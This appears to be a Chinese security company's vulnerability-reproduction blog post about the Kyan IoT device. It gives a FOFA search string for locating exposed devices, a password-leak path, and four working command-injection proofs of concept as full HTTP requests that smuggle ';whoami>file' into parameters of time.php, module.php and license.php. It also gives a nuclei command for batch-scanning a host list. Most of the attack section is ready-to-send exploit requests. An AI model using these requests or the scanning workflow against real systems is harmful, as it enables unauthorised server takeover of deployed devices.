漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

IoT 1年前 (2022) admin

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0x01 阅读须知

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0x02 漏洞描述

Kyan系统存在密码泄露/多个远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。

漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

0x03 漏洞复现

fofa：”login_files/button_login_to_bluesky.png”

1.执行密码泄露poc

/hosts

漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

2.进入后台，我们有四种方法可以getshell，第一种time.php，执行whoami写入根目录的1.txt，访问1.txt返回结果，poc如下

POST /time.php HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
timesynctype=;whoami>1.txt

漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

3.第二种module.php，执行whoami写入根目录的2.txt，访问2.txt返回结果，poc如下

GET /module.php?cmd=delete&name=;whoami>2.txt; HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1

漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

4.第三种license.php，执行whoami写入根目录的3.txt，访问3.txt返回结果，poc如下

GET /license.php?cmd=delete&name=;whoami>3.txt HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=t59mjp5du7evvi9gncm79qp2s6; SpryMedia_DataTables_filesystemTable_status.php=%7B%22iStart%22%3A%200%2C%22iEnd%22%3A%204%2C%22iLength%22%3A%2010%2C%22sFilter%22%3A%20%22%22%2C%22sFilterEsc%22%3A%20true%2C%22aaSorting%22%3A%20%5B%20%5B0%2C'asc'%5D%5D%2C%22aaSearchCols%22%3A%20%5B%20%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%2C%5B''%2Ctrue%5D%5D%2C%22abVisCols%22%3A%20%5B%20true%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%2Ctrue%5D%7D; MemoryTree=1|1
Upgrade-Insecure-Requests: 1

漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

5.第四种run.php，页面执行whoami并返回结果

http://{{hostname}}/run.php

漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

6.nuclei批量验证已发表于知识星球，请查收

nuclei.exe -t Kyan_Password_disclosure.yaml -l subs.txt -stats Kyan_Password_disclosure.txt

漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

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漏洞复现 Kyan 密码泄露/多个远程命令执行漏洞

0x04 公司简介

江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
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审核：fjh

审核：Dog

1个1朵5毛钱

天天搬砖的小M

能不能吃顿好的

就看你们的啦